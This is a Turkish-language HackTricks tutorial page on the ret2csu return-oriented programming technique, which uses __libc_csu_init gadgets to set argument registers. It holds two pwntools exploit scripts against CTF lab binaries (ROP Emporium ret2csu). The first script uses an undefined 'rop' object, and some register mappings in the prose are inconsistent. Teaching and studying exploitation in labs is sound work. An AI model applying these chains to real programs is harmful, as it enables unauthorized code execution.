Ret2csu

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

ret2csu, bir programın kontrolünü ele geçirmeye çalışırken genellikle programın davranışını manipüle etmek için kullandığınız gadget'ları bulamadığınızda kullanılan bir hackleme tekniğidir.

Bir program belirli kütüphaneleri (örneğin libc) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracaklarını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle __libc_csu_init adı verilen bir tanesi gibi, eksik gadget'larımız gibi davranabilen bazı gizli mücevherler bulunmaktadır.

__libc_csu_init'teki Sihirli Gadget'lar

__libc_csu_init içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:

  1. İlk dizi bize birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Bu cihaz, bu kayıtları yığınından çıkararak onları kontrol etmemizi sağlar.

  1. İkinci sıra, kurduğumuz değerleri kullanarak birkaç şey yapmak için kullanılır:

  • Belirli değerleri diğer kayıtlara taşır, böylece bunları işlevlerde parametre olarak kullanmaya hazır hale getirir.

  • r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Belki de oraya yazacak herhangi bir adres bilmiyorsunuz ve bir ret talimatına ihtiyacınız var. İkinci cihaz da bir ret ile sona erecek, ancak ona ulaşmak için bazı koşulları karşılamanız gerekecek:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Koşullar şunlar olacak:

  • [r12 + rbx*8], çağrılabilir bir işlevi saklayan bir adrese işaret etmelidir (fikir yoksa ve pie yoksa, sadece _init işlevini kullanabilirsiniz):

  • Eğer _init 0x400560 adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve [r12 + rbx*8] adresi, _init'e işaret eden işaretçi olan adres olsun:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp ve rbxnin aynı değere sahip olması zıplamayı önlemek için gereklidir

  • Dikkate almanız gereken bazı atlanmış pop'lar bulunmaktadır

RDI ve RSI

Ret2csu cihazından rdi ve rsi'yi kontrol etmenin başka bir yolu, belirli ofsetlere erişerek yapılır:

Daha fazla bilgi için bu sayfaya bakın:

pageBROP - Blind Return Oriented Programming

Örnek

Çağrıyı Kullanma

Bir sistem çağrısı yapmak veya write() gibi bir işlevi çağırmak istediğinizi hayal edin, ancak rdx ve rsi kayıtlarında belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan cihazları arardınız, ancak hiçbirini bulamazsınız.

İşte burada ret2csu devreye giriyor:

  1. Kayıtları Ayarlayın: İlk sihirli cihazı kullanarak yığınından değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e alın.

  2. İkinci Cihazı Kullanın: Bu kayıtlar ayarlandıktan sonra ikinci cihazı kullanırsınız. Bu, seçtiğiniz değerleri rdx ve rsi'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır, işlev çağrısı için parametreleri hazırlar. Dahası, r15 ve rbx'i kontrol ederek, hesapladığınız ve [r15 + rbx*8]'e yerleştirdiğiniz adreste bulunan bir işlevi programı çağırabilirsiniz.

Bu tekniği kullanan ve açıklayan bir örneğe buradan ulaşabilirsiniz, ve kullanılan son saldırı şudur:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Önceki saldırının bir RCE gerçekleştirmek için değil, sadece win adlı bir işlevi çağırmak için tasarlandığını unutmayın (win adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve r15'te saklayarak üçüncü argümanı 0xdeadbeefcafed00d değeri ile çağırır).

Çağrıyı atlayarak ve ret'e ulaşarak geçme

Aşağıdaki saldırı bu sayfadan çıkarılmıştır, burada ret2csu kullanılmış ancak çağrı yerine karşılaştırmaları atlayarak ve çağrıdan sonra ret'e ulaşılmıştır:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Neden Sadece libc'yi Kullanmıyoruz?

Genellikle bu durumlar ret2plt + ret2lib için de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, write() fonksiyonu üç parametre gerektirir ve bu parametreleri doğrudan ayarlamak için gerekli olan gadget'ları bulmak mümkün olmayabilir.

Last updated